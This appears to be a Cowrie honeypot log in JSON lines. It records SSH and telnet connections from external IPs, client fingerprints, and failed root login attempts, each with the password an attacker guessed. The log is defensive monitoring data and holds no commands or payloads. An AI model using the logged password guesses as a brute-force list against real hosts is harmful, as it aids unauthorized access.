{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:22:16.725264Z","src_ip":"94.159.98.239","session":"f4b8ab51bc34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":44336,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d30d6accd16","protocol":"ssh","message":"New connection: 194.59.206.2:44336 (159.203.135.109:22) [session: 9d30d6accd16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:22:17.598705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:22:17.603130Z","src_ip":"194.59.206.2","session":"9d30d6accd16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:22:17.693498Z","src_ip":"194.59.206.2","session":"9d30d6accd16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9111961","message":"login attempt [root/9111961] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:22:17.770697Z","src_ip":"94.159.98.239","session":"f4b8ab51bc34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:22:17.788542Z","src_ip":"194.59.206.2","session":"9d30d6accd16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:22:18.898416Z","src_ip":"94.159.98.239","session":"f4b8ab51bc34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.48775243759155,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:22:21.016260Z","src_ip":"69.4.83.194","session":"a106af81eb00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":41538,"dst_ip":"10.17.0.5","dst_port":22,"session":"1784b7a51c51","protocol":"ssh","message":"New connection: 193.37.70.224:41538 (10.17.0.5:22) [session: 1784b7a51c51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:22:38.941455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:22:38.957768Z","src_ip":"193.37.70.224","session":"1784b7a51c51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:22:39.054601Z","src_ip":"193.37.70.224","session":"1784b7a51c51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13031985","message":"login attempt [root/13031985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:22:39.335300Z","src_ip":"193.37.70.224","session":"1784b7a51c51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.74405550956726,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:22:40.198624Z","src_ip":"69.4.83.194","session":"6f2a5395589b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:22:40.433028Z","src_ip":"193.37.70.224","session":"1784b7a51c51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":41156,"dst_ip":"159.203.135.109","dst_port":23,"session":"63b3e331cac4","protocol":"telnet","message":"New connection: 69.4.83.194:41156 (159.203.135.109:23) [session: 63b3e331cac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:23:09.182020Z"}
{"eventid":"cowrie.session.closed","duration":0.5120055675506592,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:23:09.693901Z","src_ip":"69.4.83.194","session":"63b3e331cac4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.72.132","src_port":36994,"dst_ip":"159.203.135.109","dst_port":22,"session":"abb194cd4400","protocol":"ssh","message":"New connection: 168.167.72.132:36994 (159.203.135.109:22) [session: abb194cd4400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:23:21.659698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:23:21.664761Z","src_ip":"168.167.72.132","session":"abb194cd4400","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:23:21.909727Z","src_ip":"168.167.72.132","session":"abb194cd4400","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ubuntu2024","message":"login attempt [root/Ubuntu2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:23:22.923601Z","src_ip":"168.167.72.132","session":"abb194cd4400","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:23:24.174189Z","src_ip":"168.167.72.132","session":"abb194cd4400","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":59608,"dst_ip":"10.17.0.5","dst_port":23,"session":"d62d2234d480","protocol":"telnet","message":"New connection: 180.235.129.180:59608 (10.17.0.5:23) [session: d62d2234d480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:23:49.782379Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":57746,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cb8d86d8db7","protocol":"telnet","message":"New connection: 69.4.83.194:57746 (159.203.135.109:23) [session: 2cb8d86d8db7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:23:52.780192Z"}
{"eventid":"cowrie.session.closed","duration":0.6645045280456543,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:23:53.444429Z","src_ip":"69.4.83.194","session":"2cb8d86d8db7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":59596,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ef89985ba95","protocol":"telnet","message":"New connection: 180.235.129.180:59596 (10.17.0.5:23) [session: 6ef89985ba95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:23:57.360464Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":50376,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f27eb2732de","protocol":"ssh","message":"New connection: 37.233.85.71:50376 (10.17.0.5:22) [session: 7f27eb2732de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:23:58.748652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:23:58.753634Z","src_ip":"37.233.85.71","session":"7f27eb2732de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:23:58.853924Z","src_ip":"37.233.85.71","session":"7f27eb2732de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"369369369","message":"login attempt [root/369369369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:23:59.153046Z","src_ip":"37.233.85.71","session":"7f27eb2732de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:24:00.256675Z","src_ip":"37.233.85.71","session":"7f27eb2732de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":60566,"dst_ip":"159.203.135.109","dst_port":23,"session":"3406ba91dd54","protocol":"telnet","message":"New connection: 69.4.83.194:60566 (159.203.135.109:23) [session: 3406ba91dd54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:24:00.317760Z"}
{"eventid":"cowrie.session.closed","duration":2.012784719467163,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:24:02.330389Z","src_ip":"69.4.83.194","session":"3406ba91dd54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.759123086929321,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:24:03.119437Z","src_ip":"180.235.129.180","session":"6ef89985ba95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":45660,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fd1ecd190b2","protocol":"telnet","message":"New connection: 79.139.59.21:45660 (159.203.135.109:23) [session: 8fd1ecd190b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:24:13.213892Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":37286,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce626a1a0e64","protocol":"ssh","message":"New connection: 109.172.54.111:37286 (10.17.0.5:22) [session: ce626a1a0e64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:24:17.162061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:24:17.167059Z","src_ip":"109.172.54.111","session":"ce626a1a0e64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:24:17.266360Z","src_ip":"109.172.54.111","session":"ce626a1a0e64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jktu","message":"login attempt [root/jktu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:24:17.565610Z","src_ip":"109.172.54.111","session":"ce626a1a0e64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:24:18.668328Z","src_ip":"109.172.54.111","session":"ce626a1a0e64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":52824,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d9d312e9103","protocol":"telnet","message":"New connection: 69.4.83.194:52824 (159.203.135.109:23) [session: 6d9d312e9103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:24:48.324286Z"}
{"eventid":"cowrie.session.closed","duration":38.4779589176178,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:24:51.691753Z","src_ip":"79.139.59.21","session":"8fd1ecd190b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":42650,"dst_ip":"10.17.0.5","dst_port":22,"session":"929e80cf57b4","protocol":"ssh","message":"New connection: 89.108.118.91:42650 (10.17.0.5:22) [session: 929e80cf57b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:24:53.363088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:24:53.367364Z","src_ip":"89.108.118.91","session":"929e80cf57b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:24:53.503513Z","src_ip":"89.108.118.91","session":"929e80cf57b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eybdthcbntn","message":"login attempt [root/eybdthcbntn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:24:53.913616Z","src_ip":"89.108.118.91","session":"929e80cf57b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:24:55.053958Z","src_ip":"89.108.118.91","session":"929e80cf57b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.72.132","src_port":36995,"dst_ip":"159.203.135.109","dst_port":22,"session":"421f98d4e2c5","protocol":"ssh","message":"New connection: 168.167.72.132:36995 (159.203.135.109:22) [session: 421f98d4e2c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:25:14.694724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:25:14.701233Z","src_ip":"168.167.72.132","session":"421f98d4e2c5","protocol":"ssh"}
